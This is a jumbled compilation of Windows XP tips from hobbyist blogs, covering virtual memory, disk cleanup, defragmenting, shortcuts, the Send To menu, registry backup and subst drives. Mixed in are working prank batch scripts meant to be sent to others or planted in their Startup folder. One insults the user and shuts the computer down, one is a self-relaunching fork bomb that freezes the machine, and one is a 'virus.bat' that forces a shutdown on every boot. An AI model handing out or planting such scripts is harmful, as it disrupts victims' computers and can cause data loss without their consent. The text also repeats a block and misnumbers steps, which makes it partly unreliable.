Open your notepad and type the following lines of code
@echo off
msg * I don’t like you
shutdown -c “Error! You are too stupid!” -s
Save it as “Anything.BAT” and send it.
Open your notepad and type the following lines of code
@echo off
msg * I don’t like you
shutdown -c “Error! You are too stupid!” -s
Save it as “Anything.BAT” and send it.
To make this open note pad and type:
@echo off
:START
start a.bat
GOTO START
The code above must be saved as a.bat and when the other person opens it nothing will appear but in the background it will keep opening its self until the computer freezes or shuts down.
You can try this on your friends by putting it in the Startup.
1. Increase virtual memory
Virtual memory is the space your computer uses when it's short of RAM (Random Access Memory), which is the memory used when running programs like Office Suites.
And here are the steps to reset your virtual memory:
· Open MyComputer on your desktop
· On the left pane, click view system information, then windows will open up system properties dialog box.
· Click Advanced Tab
· On the Performance Area, click Settings
· Once, you will see performance option dialog box.
· Click Advanced tab, and find the virtual memory area and click change
· Here, you can change the pagination file by changing the size of the Initial Size.
2. Free Up Disk Space
Freeing up your disk space may make a big effect on your computer. By doing this, you can improve your computer performance. You can free up disk space by using Disk Cleanup. Here’s the steps:
· On taskbar, click start, point to all programs, accessories, System Tools, and click Disk Cleanup.
· Choose one of your drive you want to clean.
· Once, you will see Disk Cleanup Dialog box. Clear the check boxes to all files which you don’t want to delete, and then click OK
· When prompted to confirm that you want to delete the specified files, click Yes.
After the process complete, your computer may perform better.
3. Turn off system restore
Some professional says that having system restore on your compter, takes a lot of space of your drive. Therefore you should turn off system restore. To access system restore:
· Click Start, point to Accesories, point to System Tools, and then click System Restore.
· Then you can edit the settings and turn off the system restore on your computer.]
4. Regurally Defragmenting The Disk
This action can speed up your computer. You can do this by accessing Disk Defragmenter. To access disk defragmenter and defragment your disk:
· Click Start-all programs-accessories-system tools, click on disk defragmenter.
· Then, click the drive you want to defragment and click analyze (to estimate how long this proccess takes)
· If you sure want to defragment that drives click the defragment buttons.
Just like the title above, I will give you easy tips to make folder shortcut.
Do you have a folder that you want to access it fast whenever you want? The only solution for it, is make a shortcut for that folder which known as folder shortcut. Here we go:
1. Go to My Computer or Windows Explorer and find the folder you want to access quickly later.
2. If you have found the folder you want to instant access, then right click on the folder, point to Send to and select Desktop
3. Now, go to desktop and right click on the sent folder, and select Properties
4. Click Shortcut Tab and look for “Shortcut Key” row, on the empty box next to it you can type the shortcut to instant access your folder.
5. Click OK, and you only have to test your job.
When you right-click a file name or a thumbnail in Microsoft Windows XP, you see a shortcut menu for that file. One of the items on the menu is Send To, which enables you to quickly e-mail a file, copy it to your desktop, or copy it to a floppy disk.
Sometimes what you really want to do is to save a copy of the file to a specific folder on your computer. If you have a folder where you frequently place files, you can add that folder’s name to the list of locations on the Send To menu. This can save you the time of opening another Windows Explorer window and copying the file from one folder to another.
For example, you could create a My Pictures folder and then use the Send To menu to copy your best pictures to that folder.
To add a folder to the Send To menu
4. In the My Computer window, double-click Local Disk (C:), double-click Documents and Settings, double-click your user name, and then double-click SendTo.
5. Click the File menu, click New, and then click Shortcut
6. The Create Shortcut Wizard appears. Click the Browse button.
7. In the Browse For Folder dialog box, click the folder you want to add to your Send To menu, and then click OK.
8. Click Next, click Finish
9. Now when you right-click a file and click Send To, the destination you selected will be an option on the Send To menu. You can create shortcuts to local or network programs, files, folders, computers, or Internet addresses.
It's been a long time for me did not share any computer tricks in here. Recently mytheory only focus on SERP or SEO content. And for an intermezzo, i would like to give you some computer tricks and i'm going to talk about Registry Tricks. Check it out!
Before doing some of these tricks you better backup your Registry first. How to backup Registry? emm,it's pretty easy actually,simply go to Regedit (click start-Run-type 'regedit' - click OK), click File-Export and save it anywhere (but don't forget where you save it) and you can name it anything you want
I will tell you some useful tricks about Registry Windows which is simple to do, but you have to pay attention carefully because if you miss the procedure or even doing something wrong, it can be harmful..... but you can use your Backup to fix your Registry, Okay so here we go:
So, after you done with those tricks you need to restart your computer to see the result.
Trick is all About :
You can create Virtual Drives in your Computer. Now you can access your Favorite Folders as a drive in My Computer.
What you can do ?
** Access your folders as a Drive !
** Fool 'Computer Beginners' or your 'Friends' (Non-Expert) , as the drive will show Disk Space of the folder's drive so it seems that the disk space has increased !!!
Do The Follwing :
► Start >> Run
► Type cmd and hit Enter
► This will open "Command Prompt"
► Type subst Z: E:\folder and hit Enter key.
→ You can replace Z: with your desired New Drive Letter (Except existing Drive letters)!
→ You can replace E:\folder with the path of your favorite folder !
► Now, type exit
*** This creates a new drive ! When you open this , it will open your folder !!!
*** Isn't it Awesome ?
*** And this is Exclusive at pcremix.blogspot.com !
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But a Problem !
۩ On Restart the Virtual Drive Disappears !!!
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Solution !
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۩ We can make a batch file which will make the drive everytime on startup !
Here is how ?
► Open Notepad
► Type :
@ECHO OFF
subst Z: E:\folder
exit
► File >> Save As...
► Name it : Virtual Drive Emulator.bat
► Start >> All Programs
► Right Click on Startup >> Open
► This open the Startup folder
► Paste the Virtual Drive Emulator.bat file here !
*** That's all , now the drive will automatically be created when ever you start your pc
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>>>> Mission Accomplished <<<<
Prank !!!
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۩ We can make a batch file which will Shutdown the computer everytime on startup !
Here is how ?
► Open Notepad
► Type :
@ECHO OFF
shutdown -s -t 10 -c "Virus Attack..."
exit
► File >> Save As...
► Name it : virus.bat
► Start >> All Programs
► Right Click on Startup >> Open
► This open the Startup folder
► Paste the Virus.bat file here !
*** That's all , now the computer will automatically shutdown on every startup !